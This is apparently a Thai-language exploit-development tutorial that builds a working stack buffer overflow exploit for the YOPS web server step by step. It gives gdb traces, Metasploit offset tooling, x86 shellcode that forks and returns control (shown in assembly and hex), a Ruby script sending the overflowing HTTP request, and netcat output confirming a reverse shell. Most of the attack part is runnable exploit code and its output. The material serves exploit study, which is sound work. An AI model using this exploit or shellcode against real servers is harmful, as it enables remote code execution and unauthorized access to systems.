#2  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#3  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i f 1    # ดู stack frame ที่เราจะต้องทำให้โปรแกรมกลับไปทำงานต่อ
Stack frame at 0xb7fff3a0:
 eip = 0x804cdf9 in logger_th (main.c:382); saved eip 0x14596e
 called by frame at 0xb7fff4a0, caller of frame at 0xb7fff350
 source language c.
 Arglist at 0xb7fff398, args: arg=0x804e4a8
 Locals at 0xb7fff398, Previous frame s sp is 0xb7fff3a0
 Saved registers:
  ebp at 0xb7fff398, eip at 0xb7fff39c
(gdb) x/24x $ebp   # ดูค่าบน stack สำหรับ logger_th function
0xb7fff348:     0xb7fff398      0x0804cdf9      0x00000005      0x0804f198
0xb7fff358:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff368:     0x00000000      0x00000000      0x00000000      0x00000000
0xb7fff378:     0x00000000      0x0804f198      0x0804e4a8      0x00000000
0xb7fff388:     0x00000011      0x00000005      0x00000000      0x00000000
0xb7fff398:     0xb7fff498      0x0014596e      0x0804e4a8      0x00000002

สิ่งที่เราเห็นอย่างแรกคือ โปรแกรมต้องไปทำงานต่อที่ 0x0804cdf9 เมื่อจบ swebs_record_log function และเมื่อดูต่อจะได้ ebp เมื่อกลับไปทำงานที่ logger_th function ต้องเป็น 0xb7fff398 แต่เราได้เห็นจาก exploit ที่เราเขียนกันก่อนหน้านี้ว่า address ของ stack มันไม่แน่ไม่นอน ขึ้นอยู่กับหลายๆ อย่าง ดังนั้นถ้าเราใช้ค่านี้ อาจจะใช้ได้สำหรับเครื่องบางเครื่อง

สิ่งที่เรารู้แน่คือ ค่าของ esp หลังจากคำสั่ง ret ใน swebs_record_log function จะถูกต้องเสมอ (ถ้างงก็ลองไล่ใน gdb ดูนะครับ) โดยสำหรับกรณีนี้คือ 0xb7fff350 และระยะห่างระหว่าง esp กับ ebp จะคงที่คือ ดังนั้นคำสั่ง assembly ที่เราสามารถนำมาใช้เพื่อแก้ ebp ให้เป็นปกติคือ 0xb7fff398 - 0xb7fff350 = 0x48

lea  0x48(%esp),%ebp

ต่อไปคือ การเปลี่ยน eip กับไปที่เดิมคือ 0x0804cdf9 โดยเราสามารถใส่คำสั่ง jmp ไปตรงๆ ได้เลย แต่ผมไม่ชอบวิธีนี้ เพราะว่าถ้า address ของ code เปลี่ยน เราจะแก้ลำบาก ซึ่งวิธีของผมคือใช้

jmp  (%esp)

เนื่องด้วยหลังจากจบ swebs_record_log function ด้วยคำสั่ง ret ค่าของ esp จะชี้ไปที่ argument แรกคือ log argument ซึ่งตอนนี้เราเขียนค่าขยะลงไป ดังนั้นถ้าเราเปลี่ยนเป็น address ที่เราต้องการกลับไปทำงานต่อ เราสามารถใช้คำสั่ง "jmp (%esp)"

สิ่งที่ต้องระวังอีกอย่างคือ เราต้องไม่ไปเขียนทับตัวแปรของ logger_th function และ exploit ต้องมีการเขียนเกินอยู่แล้วด้วย ซึ่งโชคดีที่มีพื้นที่อยู่พอสมควรหลังจาก job argument (ดูจากจำนวน 0x00000000) แต่เพื่อให้ปลอดภัยมากขึ้นเวลา request ผมจะไม่ใส่ " HTTP/1.0" เพื่อที่จะให้มีการเขียนต่อท้ายน้อยลง

สิ่งสุดท้ายที่จะต้อง check คือในบาง function จะมีการ save ค่า register ไว้ก่อนใน stack แล้วแก้ค่ากลับก่อนจบ function เพื่อให้ function ที่เรียกมันใช้ค่าใน register ได้เลย ซึ่งเมื่อเราดูที่ swebs_record_log function จะได้

$ objdump -d -j .text swebs | awk /^.*swebs_record_log\>:$/,/^$/
0804a7cc <swebs_record_log>:
 804a7cc:       55                      push   %ebp
 804a7cd:       89 e5                   mov    %esp,%ebp
 804a7cf:       57                      push   %edi
 804a7d0:       56                      push   %esi
 804a7d1:       53                      push   %ebx
...
 804a96f:       5b                      pop    %ebx
 804a970:       5e                      pop    %esi
 804a971:       5f                      pop    %edi
 804a972:       5d                      pop    %ebp
 804a973:       c3                      ret

จะเห็นว่ามีการ save ค่า edi, esi และ ebx และเมื่อเรา check ที่ function ที่เรียกคือ logger_th function ตามคำสั่งข้างล่างจะเห็นว่าไม่พบมีการใช้ register พวกนี้เลย ดังนั้นเราสามารถเขียนทับค่าพวกนี้ได้ตามใจชอบ

$ objdump -d -j .text swebs | awk /^.*logger_th\>:$/,/^$/ | grep -e ebx -e esi -e edi
$

ดังนั้น shellcode ของเราตอนนี้จะเป็น

lea  0x48(%esp),%ebp # fixed up ebp
jmp  (%esp)

ซึ่งเมื่อ build ออกมาจะได้

\x8d\x6c\x24\x48\xff\x24\x24

หลังจากได้ทุกอย่างพร้อมแล้ว เราก็มาทดสอบทำให้โปรแกรมทำงานต่อไปได้โดยไม่ crash ก่อน โดยยังไม่มีการทำ fork และ reverse shell จะได้ code เป็น (ex12_yops2_2.rb)

require 'socket'

target_ip = "127.0.0.1"
target_port = 8888
def send_request(ip, port, request)
    s = TCPSocket.open(ip, port)
    s.write(request)
    msg = s.recv(8192)
    s.close()
    return msg
end

my_pub_ip = "127.0.0.1"
offset_no_ip = 828
offset = offset_no_ip - my_pub_ip.length
job_addr = 0x0804d0c9 - 0x1024
sc_addr = 0xb7fff080

sc = "\x8d\x6c\x24\x48\xff\x24\x24"

space = 700 # estimate
payload = "\x90"*(space - sc.length) + sc
cont_eip = 0x0804cdf9

page = payload+"A"*(offset-payload.length)+[sc_addr, cont_eip, job_addr].pack('VVV')
print send_request(target_ip, target_port, "GET "+page+"\r\n\r\n")

ด้วย exploit นี้เราทำให้เกิด buffer overflow แล้วทำให้โปรแกรมกลับไปทำงานตามปกติ ซึ่งเมื่อทดสอบจะเห็นว่าเรายิงกี่ครั้งก็ได้ โปรแกรมก็ยังสามารถทำงานต่อไปได้

เมื่อทดสอบให้โปรแกรมทำงานต่อได้แล้ว เรามาเขียน shellcode แบบที่เราต้องการคือ fork แล้วทำ reverse shell ที่ child process ส่วน parent process ก็ให้ทำงานปกติต่อไป ซึ่งจะได้เป็น (ex12_yops2_sc.s)

.data
.text
.globl _start

_start:
# fork()
xorl %eax,%eax   # set eax to 0 with xor
movb $2,%al     # fork syscall number
int  $0x80

test %eax,%eax
jz   child
lea  0x48(%esp),%ebp # fixed up ebp
jmp  *(%esp)

child:
inc  %eax      # to be replace with real shellcode
$ build-sc.sh ex12_yops2_sc.s
Compiling ex12_yops2_sc.s to ex12_yops2_sc.o

Extracting shellcode from ex12_yops2_sc.o to ex12_yops2_sc.sc
\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x8d\x6c\x24\x48\xff\x24\x24\x40

Creating ex12_yops2_sc.sctest.c

Compiling ex12_yops2_sc.sctest.c to ex12_yops2_sc.sctest

สุดท้ายเมื่อเราเปลี่ยน shellcode ใน exploit เดิม (ex12_yops2.rb) เราจะสามารถยิงกี่ครั้งก็ได้

$ nc -nvl 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)

Sunday, May 8, 2011

Exploiting YOPS Web Server 2009-11-30 (disable all security options)

เรามาดูตัวอย่างต่อไป ตัวอย่างนี้จะเขียน exploit สำหรับ YOPS Web Server 2009-11-30 ซึ่งได้มีคนเขียน PoC เอาไว้ที่ http://www.exploit-db.com/exploits/14976/ และ source code ของโปรแกรมก็ให้โหลดจาก exploit-db นะครับ และเหมือนเดิมเรายังคง compile โปรแกรมแบบไม่มีการป้องกันใดๆ

Installation

หลังจากที่ได้ source code มาแล้วเราทำการ extract โดยผมได้ทำการแก้ไข Makefile ใหม่ เพื่อที่จะได้ใส่ gcc option จาก command line ได้

$ cd
$ tar xjf yops-2009-11-30.tar.bz
...
$ cd swebs
$ wget -O Makefile https://sites.google.com/...
...
$ CFLAGS="-fno-stack-protector -z norelro -z execstack" make
...

เมื่อ extract จะได้ 2 directories คือ swebs กับ www ซึ่ง www directory จำเป็นต้องอยู่ใน home directory ถ้าใคร extract ที่ directory อื่นก็ให้ย้ายมาที่ home ก่อนที่จะรันโปรแกรมนะครับ

Vulnerability

ถ้าเราดู bug description จาก exploit-db จะเห็นว่าปัญหาอยู่ใน swebs_record_log function ใน swebs.c ตรงที่เรียก sprintf function

int swebs_record_log(int log, JOB *job)
{
    int err;
    time_t now;
    char timestr[32];
    char logrec[MAX_REQUEST_LINE_LEN + 1];

    memset(logrec, 0, sizeof(logrec));
    flock(log, LOCK_EX);
    time(&now);
    ctime_r(&now, timestr);
    timestr[strlen(timestr)-1] = '\0';

    sprintf (
        logrec,
        "%s\t[%s]\t\"%s\"\t(%d+%d/%d)\t%d",
        job->client,
        timestr,
        job->hdr.request_line, // ค่าที่น่าจะเป็น input ของเรา
        job->response_hlen,
        job->response_blen_sent,
        job->response_blen,
        job->status
        );

    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

จาก code ข้างบนจะเห็นว่าตัวแปรที่น่าจะเราน่าจะควบคุมได้คือ "job>hdr.request_line" โดย job กับ hdr เป็น struct และเพื่อให้เข้าใจมากขึ้น เรามาดูรายละเอียดที่ไฟล์ swebs.h และ http.h

// from swebs.h
typedef struct job {
    //...

    /* filled by parser */
    int parser;
    struct http_request_header hdr;
    char content_type[64+1];
    char error_file[32+1];
    char index_file[128+1];
    //...
    int logger;
} JOB;

// from http.h
#define MAX_METH_LEN 8

#define MAX_FILE_LEN 256
#define MAX_PINF_LEN 256
#define MAX_ARGS_LEN 256
#define MAX_URL_LEN (MAX_FILE_LEN + MAX_PINF_LEN + MAX_ARGS_LEN)
#define MAX_HTTP_LEN 16

#define MAX_REQUEST_LINE_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_HTTP_LEN)

#define MAX_HDR_LEN (MAX_METH_LEN + MAX_URL_LEN + MAX_TOTAL_PARM_LEN + 16)

typedef struct http_request_header {
    /* header buf */
    char buf[MAX_HDR_LEN+1];

    /* request line */
    char request_line[MAX_REQUEST_LINE_LEN+1];
    char *method;
    char *file;
    char *path_info;
    char *args;

    char *http;
    int ver;
    int subver;

    /* general */
    int code;
    int Cache_Control;

    char *Connection;
    char *Accept;
    char *Host;
    char *Referer;
    char *User_Agent;
} HTTP_REQUEST_HEADER;

จาก "struct job" เราเดาได้ว่า struct นี้เก็บข้อมูลที่เกี่ยวกับ request ทั้งหมด และ hdr ใน "struct job" ใช้เก็บข้อมูลของ http request หลังจากนั้นเรามาหากันว่าโปรแกรมเอา request ที่เราส่งเก็บใส่ตัวแปร request_line อย่างไร

$ grep -n request_line *.c
http.c:163:     strncpy(h->request_line, data, s - data);
main.c:383:             printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
swebs.c:370://  printf("\n+++ rqst: '%s'\n", job->hdr.request_line);
swebs.c:556:            job->hdr.request_line,

จะเห็นว่าบรรทัดที่น่าสนใจคือ "http.c:163:" และเมื่อดู source code จะเห็นว่าอยู่ใน http_parse_request_header function

int http_parse_request_header(char *data, struct http_request_header *h)
{
    int r;
    int ver, rev;
    char *s, *tok, *l, *prm;

    s = strstr(data, "\r\n"); // หาที่จบของบรรทัดแรก
    strncpy(h->request_line, data, s - data); // copy ข้อมูลทั้งบรรทัดแรกเข้า request_line

    /* dealing with method (leading spaces already handled) */
    h->method = tok = data;
    /* max method !!! */
    while ( !isspace(tok[0]) && ( (tok-data) < MAX_METH_LEN) )
        tok++;
    if ((tok-data) >= MAX_METH_LEN)
        return -400;
    // ...
}

จากโค้ดจะเห็นว่าฟังก์ชัน http_parse_request_header copy ข้อมูลทั้งบรรทัดแรกไปที่ request_line ซึ่งทำให้เกิด buffer overflow ใน heap และทำให้ sprintf ใน swebs_record_log function นั้นใส่ค่าของเราลง logrec โดยที่ไม่มีการกำหนดขนาดของ logrec

Exploitation

เรามาลองใส่ input ยาวๆ เพื่อที่จะดูผลว่าเป็นอย่างไร โดยผมจะส่ง request page ด้วยความยาว 2000 ตัวอักษร (ex12_yops_1.py)

print send_request(target_ip, target_port, "GET "+"A"*2000+" HTTP/1.0\r\n\r\n")
$ gdb ./swebs
...
Opening log (.log/access.log)... OK
Parsing config file (.conf/config)...
'tcp_port' = 8888
...
Creating LOGGER(s) (1 instances)... [New Thread 0xb7fffb70 (LWP 1649)]
OK
MANAGER: 1 jobs in ACCEPTOR->PARSER queue
errorer #1 has job (status = 404) (.errors/404.html)
swebs: tpp.c:63: __pthread_tpp_change_priority: Assertion 'new_prio == -1 || (new_prio >= __sched_fifo_min_prio && new_prio <= __sched_fifo_max_prio)' failed.

Program received signal SIGABRT, Aborted.
[Switching to Thread 0x52beb70 (LWP 1643)]
0x0012d422 in __kernel_vsyscall ()
(gdb)  bt
#0  0x0012d422 in __kernel_vsyscall ()
#1  0x00183651 in raise () from /lib/tls/i686/cmov/libc.so.6
#2  0x00186a82 in abort () from /lib/tls/i686/cmov/libc.so.6
#3  0x0017c718 in __assert_fail () from /lib/tls/i686/cmov/libc.so.6
#4  0x0014f34c in __pthread_tpp_change_priority ()
   from /lib/tls/i686/cmov/libpthread.so.0
#5  0x00147a2d in __pthread_mutex_lock_full ()
   from /lib/tls/i686/cmov/libpthread.so.0
#6  0x0804cb3c in errorer_th (arg=0x804e448) at main.c:313  # crash ที่บรรทัด 313 ใน main.c
#7  0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#8  0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) list 313
308                             goto file_vanished;
309                     };
310
311                     http_set_content_type(job->hdr.file, job->content_type);
312                     swebs_send_response(job);
313                     pthread_mutex_lock(&job->block);  # บรรทัดที่ทำให้ crash
314                     swebs_load_fragment(0, job, &config);
315                     pthread_mutex_unlock(&job->block);
316                     r = swebs_pass_job_on(sender, job);
317                     CHECK_AND_EXIT(r == sizeof(JOB*));

จะเห็นว่าโปรแกรม crash เพราะว่าข้อมูลที่เราใส่เข้าไป เขียนทับส่วนที่สำคัญที่มีผลทำให้โปรแกรม detect เจอข้อผิดพลาดและหยุดการทำงาน หรือพูดง่ายๆ เราใส่ข้อมูลยาวเกินไป (บางครั้งอาจจะเกิด error จาก malloc ที่ detect ได้ว่า heap corrupt เพราะโปรแกรมนี้เป็นแบบ multi-threads แล้วแต่ว่าโปรแกรมทำงาน thread ไหนก่อน)

คราวนี้เรามาดูขนาดที่ไม่ยาวเกินไปบ้าง โดยครั้งนี้จะส่งความยาว 1000 ตัวอักษร (แก้ code เดิมเอาเองนะครับ)

(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7fffb70 (LWP 1667)]
0x0804cdfc in logger_th (arg=0x0) at main.c:383
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
(gdb) list 383
378                     job = swebs_get_job_from(someone);
379                     CHECK_AND_EXIT(job);
380                     job->logger = id;
381
382                     swebs_record_log(log, job);  # function ที่มี bug sprintf
383                     printf("logger #%d: '%s' LOGGED [%d]\n", id, job->hdr.request_line, job->status);
384                     pthread_mutex_lock(&job->block);
385                     zfree((void**)&job);
386             };
387     }
(gdb) i r ebp
ebp            0xb7ff000a       0xb7ff000a

จะเห็นว่าเกิด error ที่บรรทัด 383 ใน main.c ซึ่งอยู่หลัง function ที่มี bug ซึ่งโดยปกติมันควรจะ overflow เขียนทับ saved eip แล้วโปรแกรมจะ crash ตอนจบ swebs_record_log function เพราะ eip ชี้ไปที่ invalid address แต่ครั้งนี้โปรแกรมกลับจบ swebs_record_log function ได้ และมา crash ที่ printf ซึ่งทำให้ผมเดาได้ว่าเราได้เขียนทับ saved ebp แต่ไม่ได้เขียนทับ saved eip (ลองคิดดูนะครับ ว่าทำไมผมถึงเดาได้) เพื่อให้รู้สาเหตุ เรามา break ที่ sprintf ใน swebs_record_log function

(gdb) b swebs.c:551
Breakpoint 1 at 0x804a839: file swebs.c, line 551.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2317)]

Breakpoint 1, swebs_record_log (log=5, job=0x804f228) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x804f24c "GET", file = 0x80500f9 ".errors/404.html",  # ค่าของตัวแปร file มี 0x00
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
  args = 0x41414141 <Address 0x41414141 out of bounds>,
  http = 0x804f639 "HTTP/1.0", ver = 1094795585, subver = 1094795585,
  code = 1094795585, Cache_Control = 1094795585,
  Connection = 0x41414141 <Address 0x41414141 out of bounds>,
  Accept = 0x41414141 <Address 0x41414141 out of bounds>,
  Host = 0x41414141 <Address 0x41414141 out of bounds>,
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) x/5s job->hdr.request_line
0x804fd65:       "GET ", 'A' <repeats 196 times>...
0x804fe2d:       'A' <repeats 200 times>...
0x804fef5:       'A' <repeats 200 times>...
0x804ffbd:       'A' <repeats 195 times>, "L\362\004\b", <incomplete sequence \371>
0x8050085:       ""
(gdb) p printf(job->hdr.request_line)
$8 = 800

เมื่อเราดูค่าของ "job->hdr" จะเห็นว่าตัวแปร method, file ที่ประกาศหลัง request_line นั้นไม่ได้มีค่าเป็น 0x41414141 และค่าของตัวแปร file นั้นมี 0x00 อยู่ด้วย ทำให้ข้อมูลที่เราตั้งใจจะทำให้เกิด overflow โดนเปลี่ยนค่าตรงกลางทำให้ sprintf function ไม่ copy ข้อมูลเราทั้งหมดเข้าไปใน buffer และเขียนทับไปถึงแค่ saved ebp

จาก address ของ job ทำให้เรารู้ว่าข้อมูลส่วนนี้ถูกจองใน heap ซึ่งการจองครั้งแรกจะได้ address ที่ 0x00 ที่ตัวแปร file เสมอ ดังนั้นถ้าเราลอง request ครั้งแรกปกติ และค่อย overflow ครั้งที่สอง (ex12_yops_2.py)

# ยังไม่ออกจาก gdb
(gdb) ignore 1 1
Will ignore next crossing of breakpoint 1.
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1613)]

Breakpoint 1, swebs_record_log (log=5, job=0x8050a48) at swebs.c:551
551             sprintf (
(gdb) print job->hdr
$1 = {
  buf = "GET\000", 'A' <repeats 1000 times>, "\000HTTP/1.0\000\000\r\n", '\000' <repeats 1823 times>, request_line = "GET ", 'A' <repeats 789 times>,
  method = 0x8050a6c "GET", file = 0x8051919 ".errors/404.html",  # ไม่มี 0x00 แล้ว
  path_info = 0x41414141 <Address 0x41414141 out of bounds>,
...
  Referer = 0x41414141 <Address 0x41414141 out of bounds>,
  User_Agent = 0x41414141 <Address 0x41414141 out of bounds>}
(gdb) print printf(job->hdr)
$2 = 0
(gdb) print printf(job->hdr.request_line)
GET AAA...
$3 = 875
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x41414141) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x41414141
 called by frame at 0xb7fff354
...

จะเห็นว่าคราวนี้ เราสามารถ overwrite saved eip ได้แล้ว ถึงแม้ว่าตัวแปร method และ file จะโดนเปลี่ยน แต่ไม่มี 0x00 และจุดที่ให้สังเกตอีกจุดคือ โปรแกรม crash ที่บรรทัด 563 ใน swebs.c เพราะตัวแปร job เก็บค่า address 0x41414141 ซึ่งเป็น invalid address

ถ้าดูที่ code จะเห็นว่าตัวแปร job เป็น function argument แสดงว่าอยู่หลัง saved eip และโดยปกติแล้วผมจะพยายามที่จะไม่เขียนทับค่าที่อาจทำให้เกิด access memory ที่ invalid แต่ครั้งนี้จะเห็นว่า sprintf นั้นยังคง copy ค่าอื่นๆ ต่อจาก input ของเราแล้ว ดังนั้นถ้าเรา overwrite เฉพาะ saved eip จะทำให้ตัวแปร job นั้นชี้ไปที่ invalid address เดี๋ยเราค่อยมาแก้ปัญหาของตัวแปร job ตอนนี้เรามาหาว่าเราต้อง input ข้อมูลยาวเท่าไรถึงจะเขียนทับ saved eip พอดี รวมถึงเราจะหาว่ายาวเท่าไรถึงทับ job argument ด้วย (ซึ่งรู้อยู่แล้วว่าห่างจาก saved eip 8 bytes เพราะเป็น argument ตัวที่ 2)

ในตัวอย่างก่อนหน้านี้ ผมใช้วิธีดู assembly แล้วคำนวณระยะห่าง แต่ครั้งนี้ผมจะใช้ pattern_create.rb กับ pattern_offset.rb ซึ่งเป็น tool ที่มากับ metasploit

$ /opt/metasploit3/msf3/tools/pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

เมื่อได้ pattern แล้ว นำไปใส่ที่ input ของเรา (ex12_yops_3.py)

$ gdb ./swebs
...
(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 1724)]
0x0804a8c1 in swebs_record_log (log=1648505954, job=0x36624235) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42336242
 called by frame at 0xb7fff354
...

หลังจากได้ค่า saved eip เป็น 0x42336242 และ job เป็น 0x36624235 เรามาหา offset

$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x42336242
819
$ /opt/metasploit3/msf3/tools/pattern_offset.rb 0x36624235
827

เมื่อเราได้ offset จาก pattern_offset.rb เรามาแก้โค้ดเพื่อทดสอบกันโดยผมจะเขียนทับ saved eip ด้วยค่า "BBBB" (0x42424242) และ job ด้วยค่า "CCCC" (0x43434343) และถ้าเราดูที่ code หรือ log จะเห็นว่า sprintf นั้นได้ใส่ IP address ของ client ที่ต่อไว้ข้างหน้าด้วยเหมือนกับตัวอย่าง orzhttpd ที่แล้ว ทำให้ offset ถึง saved eip ถ้าไม่มี IP address คือ 819+9=828 (ex12_yops_4.py)

(gdb) r
...
0x0804a8c1 in swebs_record_log (log=1094795585, job=0x43434343) at swebs.c:563
563             if (strlen(job->reason_500)) {
(gdb) i f
Stack level 0, frame at 0xb7fff350:
 eip = 0x804a8c1 in swebs_record_log (swebs.c:563); saved eip 0x42424242
...

ค่าทุกค่าเป็นไปตามที่เราต้องการแล้ว ตอนนี้เราก็ต้องมาจัดการกับ job argument ถ้าเรามาดู code ส่วนนี้อีกครั้ง

    if (strlen(job->reason_500)) {
        strcat(logrec, " [");
        strcat(logrec, job->reason_500);
        strcat(logrec, "]");
    }
    strcat(logrec, "\n");
    err = write(log, logrec, strlen(logrec));
    flock(log, LOCK_UN);
    return 0;
}

โปรแกรมทำการ check ว่า job->reasion_500 เก็บข้อความอะไรไว้หรือไม่ ถ้าไม่เก็บจะไม่ทำใน if และหลังจากนั้นจะไม่มีการอ้างถึง job arguemnt อีก ดังนั้นเพื่อให้ง่ายเราควรที่จะเขียนทับค่า job ที่ทำให้ job>reasion_500 นั้นชี้ไปที่ข้อความที่มีความยาวเป็น 0

เนื่องด้วยโปรแกรมที่อยู่ใน memory แบ่งเป็น section ต่างๆ และ section ที่เก็บ string เอาไว้คือ .rodata ดังนั้นผมจะขอยืมใช้ address ในนี้ที่เก็บ NULL เอาไว้เพื่อให้โปรแกรมทำงานต่อไปได้

$ objdump -h swebs | grep -A 1 .rodata
 15 .rodata       00000b6f  0804d0c8  0804d0c8  000050c8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
$ objdump -s -j .rodata swebs | head

swebs:     file format elf32-i386

Contents of section .rodata:
 804d0c8 03000000 01000200 57652064 6f6e2774  ........We don't
 804d0d8 2077616e 7420746f 2072756e 20776974   want to run wit

จาก objdump จะได้ว่า secion .rodata ถูกโหลดที่ address 0x0804d0c8 โดยเราสามารถดู content ได้ด้วยคำสั่ง x/s ใน gdb หรือใช้ objdump ที่ผมทำข้างบน ซึ่งจะได้ address ที่เก็บ NULL ไว้คือ 0x0804d0c9

หลังจากได้ address ของ NULL มา แล้วเราจะเขียนทับค่า job เป็นอะไรละ เนื่องจาก job เป็นตัวแปรชนิด struct เวลาอ้างถึงตัวแปรใน struct ใน assembly จะรู้ offset แล้วบวกไปจาก address เริ่มต้นของ struct นั้น ดังนั้นถ้าเรามาดู assembly จากจุดที่โปรแกรม crash (ถ้าใครออกจาก gdb แล้วใครทำอีกรอบให้โปรแกรม crash ที่ strlen(job->reason_500))

(gdb) x/5i $eip-13
   0x804a8b4 <swebs_record_log+232>:    call   0x8048d1c <sprintf@plt>
   0x804a8b9 <swebs_record_log+237>:    mov    0xc(%ebp),%eax
   0x804a8bc <swebs_record_log+240>:    add    $0x1024,%eax
=> 0x804a8c1 <swebs_record_log+245>:    movzbl (%eax),%eax
   0x804a8c4 <swebs_record_log+248>:    test   %al,%al

จะเห็นว่า offset คือ 0x1024 ดังนั้นถ้าเราลองเขียนทับค่า job ใหม่ (ex12_yops_5.py)

(gdb) r
...
[Switching to Thread 0xb7fffb70 (LWP 2053)]
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242
(gdb) x/24x $esp-800
0xb7fff030:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff040:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff050:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff060:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff070:     0x41414141      0x41414141      0x41414141      0x41414141
0xb7fff080:     0x41414141      0x41414141      0x41414141      0x41414141

โปรแกรม crash เนื่องด้วย eip ชี้ไปที่ invalid address แล้ว ดังนั้นผมจึงหา address ของตัวษร A ของเราต่อทันที ซึ่งจะเป็นที่เราใส่ shellcode เข้าไป โดยผมจะใช้ shellcode เดียวกับตัวอย่างของ orzhttpd และก็ให้ดูด้วยว่าเรามี space ที่จะใส่ shellcode น้อยกว่า 789 bytes (ขนาดของ logrec โดยผมจะใช้ 700 bytes) เพราะตัวแปร method และ file โดนแก้ไข แต่ต้องอย่าลืมว่า shellcode พวกนี้ต้องการใช้พื้นที่ใน stack ดังนั้นเพื่อป้องกันไม่ให้ shellcode เราโดนแก้ไข เราควรทำการ adjust stack pointer ด้วย

ในตัวอย่าง Integer Overflow ผมได้ใส่ "add esp" ซึ่งจะทำให้มี 0x00 ซึ่งเป็น badchar สำหรับโปรแกรมนี้ ดังนั้นวิธีหนึ่งคือนำ shellcode สำหรับ "add esp" มาต่อกับ reverse shell ที่ยังไม่โดน encode แล้วค่อยส่งเข้าไปที่ msfencode ทีเดียว แต่ผมจะใช้อีกวิธีหนึ่ง (ขี้เกียจ) โดยเลี่ยง badchar โดยใช้คำสั่ง "sub esp" กับค่าที่เป็นลบ

$ /opt/metasploit3/msf3/tools/nasm_shell.rb
nasm > sub esp,-200
00000000  81EC38FFFFFF      sub esp,0xffffff38

ได้ทุกอย่างที่ต้องการ นำมาเขียน exploit (ex12_yops.py)

# run ./swebs (ไม่จำเป็นต้องใช้ gdb แล้ว) อีก terminal หนึ่งก่อน
$ nc -nv -l 4444
Connection from 127.0.0.1 port 4444 [tcp/*] accepted
id
